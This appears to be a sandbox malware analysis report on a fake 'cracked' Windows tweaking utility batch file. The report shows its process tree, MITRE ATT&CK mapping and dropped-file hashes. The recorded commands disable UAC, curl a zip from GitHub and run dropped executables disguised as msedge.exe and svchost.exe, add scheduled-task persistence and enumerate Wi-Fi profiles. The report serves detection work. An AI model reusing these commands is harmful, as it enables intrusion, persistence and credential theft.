  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3200,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5832 /prefetch:8
  2⤵
  PID:2108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=3172,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=6016 /prefetch:1
  2⤵
  PID:232
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=5800,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5040 /prefetch:1
  2⤵
  PID:4612
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=6036,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5880 /prefetch:1
  2⤵
  PID:3504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=5312,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:4224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --field-trial-handle=5792,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5760 /prefetch:1
  2⤵
  PID:1892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6044,i,8889534879059853095,4469573385010607880,262144 --variations-seed-version=20240802-050153.822000 --mojo-platform-channel-handle=5712 /prefetch:8
  2⤵
  - NTFS ADS
  PID:1900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat" "
  2⤵
  PID:540
- - C:\Windows\system32\reg.exe
    Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
    3⤵
    PID:4272
- - C:\Windows\system32\reg.exe
    Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
    3⤵
    PID:1472
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
    3⤵
    PID:5048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3584
- - C:\Windows\system32\reg.exe
    Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
    3⤵
    - UAC bypass
    PID:2144
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
    3⤵
    PID:3648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
    3⤵
    PID:1724
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path Win32_UserAccount where name="Admin" get sid
      4⤵
      PID:2540
  - - C:\Windows\system32\findstr.exe
      findstr "S-"
      4⤵
      PID:4040
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4460
- - C:\Windows\system32\chcp.com
    chcp 437
    3⤵
    PID:2412
- - C:\Windows\system32\curl.exe
    curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
    3⤵
    PID:1040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3584
- - C:\exm\EXMservice.exe
    EXMservice.exe
    3⤵
    - Executes dropped EXE
    PID:2104
  - - C:\Users\Admin\msedge.exe
      "C:\Users\Admin\msedge.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:3880
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2376
  - - C:\Users\Admin\svchost.exe
      "C:\Users\Admin\svchost.exe"
      4⤵
      Executes dropped EXE
      Drops desktop.ini file(s)
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:2816
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2968
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2380
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1740
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1344
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4996
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4068
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show networks mode=bssid
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:3532
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2124
- - C:\Windows\system32\chcp.com
    chcp 437
    3⤵
    PID:2432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.BingWeather* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3408
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.GetHelp* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1680
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.Getstarted* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1708
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.Messaging* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4220
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.Microsoft3DViewer* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4520
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.MicrosoftSolitaireCollection* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2332
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.MicrosoftStickyNotes* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3104
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.MixedReality.Portal* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3872
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.OneConnect* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1184
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.People* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4456
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.Print3D* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2420
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.SkypeApp* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:408
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.WindowsAlarms* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.WindowsCamera* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2804
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *microsoft.windowscommunicationsapps* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2656
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.WindowsMaps* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4516
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.WindowsFeedbackHub* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4580
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.WindowsSoundRecorder* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:440
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.YourPhone* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2752
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.ZuneMusic* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1648
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.HEIFImageExtension* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3916
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.WebMediaExtensions* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4000
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.WebpImageExtension* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2512
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -command "& {Get-AppxPackage *Microsoft.3dBuilder* | Remove-AppxPackage}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2220
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -Command "Get-AppxPackage -allusers *bing* | Remove-AppxPackage"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:276
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -Command "Get-AppxPackage -allusers *bingfinance* | Remove-AppxPackage"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4908
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -Command "Get-AppxPackage -allusers *bingsports* | Remove-AppxPackage"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4728
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1972
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -Command "Get-AppxPackage -allusers *CommsPhone* | Remove-AppxPackage"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1576
- - C:\Windows\system32\timeout.exe
    timeout /t 1 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -Command "Get-AppxPackage -allusers *Drawboard PDF* | Remove-AppxPackage"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1896

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:2024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4928

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
PID:4596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

msgid.dat

Path C:\Users\Admin\AppData\Local\3a75855554d81410fa242a9398eda7a2\msgid.dat
Size 5B
SHA256 87c1eb62960bbed0d512a431c137f9f17c7ab0ba533d20e2616eef77f03b7bda
MD5 9ea89671c9ac8a9c53062381b303f4d4
SHA1 63a65bab4d13df49e5195f8c8f940adee5b61470
SHA512 1027b21280243f5073e255d653c71bdc0cb0111c07f31e54d5f4145be830430cce3fcf64acee4b6a817fcd7a44faa799b0e42eba8adbec6ae0147e81c3486f37
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 649B
SHA256 432e086fb4baf34eec2272f23044dc0f722d39ecb6aba090120e57fcae6fca09
MD5 31a1f54eade6d029b4835a0f28799f91
SHA1 6cb01cbb2eec30ee597fa65c5a8d59bef9661e12
SHA512 9fbb47f74890cac2ae3c80892248fc658af8a82018ec36c6ebc629abe81c9d12913a88011d9275e4bfec8e2d350048f6508240a5e4ae6450fef39ed2bade13b2
MD5 SHA1 SHA512

Submit Download

f_000016

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000016
Size 213KB
SHA256 38b76a54655aff71271a9ad376ac17f20187abd581bf5aced69ccde0fe6e2fd6
MD5 f942900ff0a10f251d338c612c456948
SHA1 4a283d3c8f3dc491e43c430d97c3489ee7a3d320
SHA512 9b393ce73598ed1997d28ceeddb23491a4d986c337984878ebb0ae06019e30ea77448d375d3d6563c774856d6bc98ee3ca0e0ba88ea5769a451a5e814f6ddb41
SSDEEP 6144:jhLMe9KVe9PBGZPQj5/zH+LcqKQ34SZEKGLoLb:jrIe9Pe4Jfq0SZEFL4
MD5 SHA1 SHA512 SSDEEP

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 984B
SHA256 8b589aa62cea76ee44e9aeaf38f698434aae496c92e7d2671d561cbb343ff593
MD5 6b37b4bc7b3955ffa8262406615b9ac0
SHA1 86f58a1aafdfa04704bc308fcd2bbc1eba694761
SHA512 efaa64a574564fcfe9db5d6e93d1b6f70f009f7979335495ccc4f6fa8e6b3851377fac650b497c13b8aecf9a4e7b11d9621d2d2d617aaf2d11ab5fa3d7888f83
MD5 SHA1 SHA512

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_1
Size 264KB
SHA256 3667e0c858fba44f413b953b8f0cfdc98f172fdc5603493e66c6ed973f7541a9
MD5 419cda86e8851dba1344b9900756bff7
SHA1 7896eaad528a8d8a7b4b92b26bfb97b72573ef96
SHA512 12c12c997291fc55e54524cb603abfebc0717c97326f1026c716e375ee668f3c64d55b1b25de7759992e22fff6f08a708741fbcc7c85d16d9af9df1126d4242c
SSDEEP 3:MsEllllkEthXllkl2zEklgl:/M/xT02zngl
MD5 SHA1 SHA512 SSDEEP

Submit Download

History

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
Size 192KB
SHA256 f38ef36463208b52d14c916a59dd06e490f16fb5036dcc15adb166486e8baf83
MD5 69e6be98f7e690ebf2e7e6686d14adac
SHA1 686f84df0eda072a779d401a90a98f226429afde
SHA512 d9e05e7fce788eeb7957b26c51a00bddaf4a7c5183582ded3611e412a1522803afd3844d6cb3d4dc1c3b90b49b803e4d3c5426c900fffd49a9e8b1c15715b2ac
SSDEEP 192:FBUrP/6gRGS6+qcHBAn/2tCYw8/tH+bF+UI3iWGVYWNkqp3guY11K6gRxKcHpWAt:3yooOcw8/tIkUI3ijVYWNkqpQuYSYt
MD5 SHA1 SHA512 SSDEEP

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 20ea42dbcd4de894fc46522723fe094b23405a51e9323bc59b9f6cabb8ea21b1
MD5 0309747c89898dd25a953e865aa4b5bf
SHA1 9365066d448e28ad4cc2e0a4ba110c717984e830
SHA512 824856a44b6466a2b0ec45b45864e9069441e2b6397518c895ebd714fd2bbb01815310ffe5bd9c8ca4eb6fd8e085851c23e9a5beaf8ada5dcb083e13d2290d04
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 14KB
SHA256 9abc5deb71c6189d61e937eb9a44211d83722f41b5da1f2905ed66a4d676585e
MD5 c62a9207e5a917287d7d3b4f95dea2a6
SHA1 b97825a2321118ba5d361ba525c8217aa5f6a584
SHA512 5ad043e4ab0729b26c5b3468dffef0e01e7c4826db6c9f8f82cda1f6fe0dfcfe6e24a10d2f19901035e01d60db855d78d9e3f78ebdd2c2c119aeb7dd36b5555e
SSDEEP 384:DiHVYpPWA1PwFCc2uPdesiXtOVXJOyfyZLBUSlxQQFWCvIB/7kWMCpiWPg89saux:bns1y8Q529URfVJaP4P
MD5 SHA1 SHA512 SSDEEP

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1KB
SHA256 a1e3a940af148fd1808e2c81f47c97270f618abcf83c96e8f361ecf0ab84a579
MD5 49f3e34873f6d78a95707d89f3cdbf07
SHA1 a0076321ae95758a6c069d78e366cf37f55403de
SHA512 4a4cb38eb9b182cfbf953e14fb377fbcd631f4ec9c8e29cb84c5ef1799036334826989f1a9d9fdf96c55a41fccb415ff141480b8a7a91a2217d6f9762eba38e2
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1KB
SHA256 e50f096d5b2aeb61bfe9d58648b0f579a785c3c8187f76a2bdf6651810724969
MD5 7072a03491bb7550ddedec619c7846db
SHA1 addbe116678af973700fe07168d1f5760078f2bb
SHA512 bf2ad0db4678fe08ed1643d7b54dccc26f123e63287d0d251d2b49b3672ef816623303df21083450333f2b5b1555247056fd4a14d498c2e447c40d0fac3ff309
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 1KB
SHA256 79f582d2257f43c0f93969c29471538e8f9d06057bba3ad8813b7a92e91f7fdc
MD5 811355e7d1f37f29f95cbe4bf3ca9746
SHA1 a9ec39b760c6c7670aa6a632976f424862ecb9f3
SHA512 a9b51f210940f755408757ee63aed29ad9f68f84684a7f25f5db11acabfa0863f8e350bacef114acb519b031f0eb69167a990fd7b8fa90c4ed4c2212a1351577
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 82a695792efcb924d42fc6381b96dd2394810ac8f629953e8540716e81b4ff9a
MD5 59ab09c620540b72794fd3d0b3e317b2
SHA1 3b5004864c18743c56aa98cb82514f3cdfa633c7
SHA512 6e3a9b56a217d6de286ee51a725661264b4804834e416d9c3e4f8e1dbe8c6514f63c122a70fb679e0aaf85751a01b0dd7a4553baa6e4719397eab6465599471b
SSDEEP 192:JsXpF0oMZ7Qi1eTX8FHV+FgEvOzz88kuu5e/3fErKw8Po6yIsnVdg4:JsXpFGsX8FGgEW/fkm3eKwQ4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 9KB
SHA256 639508bf805e6a22fdb147174f781b1e4aa4e150ab8b2e9133ab8b5077f45274
MD5 f6b6056812cef62b29db5f77020810e3
SHA1 a5930067d60f8dc2c6bc6741f60b34b638261794
SHA512 bfdfc227196d88330afcbffc1c3f7aa37a1e5c259773df02b41c27672dd11ff4abb01499da250b2c97656a5e9464d4c6127ed96213f4063a307372642a79bf82
SSDEEP 192:JsXrF0oMZ7Qijes8FHV+Ff84kde/3fEmKw8Po6yIsnVdg4:JsXrFGd8FGE4ko3TKwQ4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 9KB
SHA256 96ec81a5b20d0bf0cd9c7c56ea04074ef28b950e12a99a7715af5bb208fa49fe
MD5 60d5effed6ce8ea500f0416ae52459a8
SHA1 7ce973fce093016eb4c47bfca3ee946cb545bc0a
SHA512 1cb1ede14170272a9b591da7438b98fc8443a5ac6885d898891b84683985a12a2288686797c38eb853f2f0583f13af7e2aa15e3e4dfa9908c487a310306f7f52
SSDEEP 192:JsXrF0oMZ7Qives8FHV+FrzsVe/3fEmKw8Po6yIsnVdg4:JsXrFG18FG3sw3TKwQ4
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 ca04440eb7cc0613a4aeaee1a41cd41e82d468a028c3749978b9a22a45417212
MD5 e54e67d4e5d80a798047bb9809c799c2
SHA1 24e606e0b2f41b126dd9c27034906c41cf8f8ccb
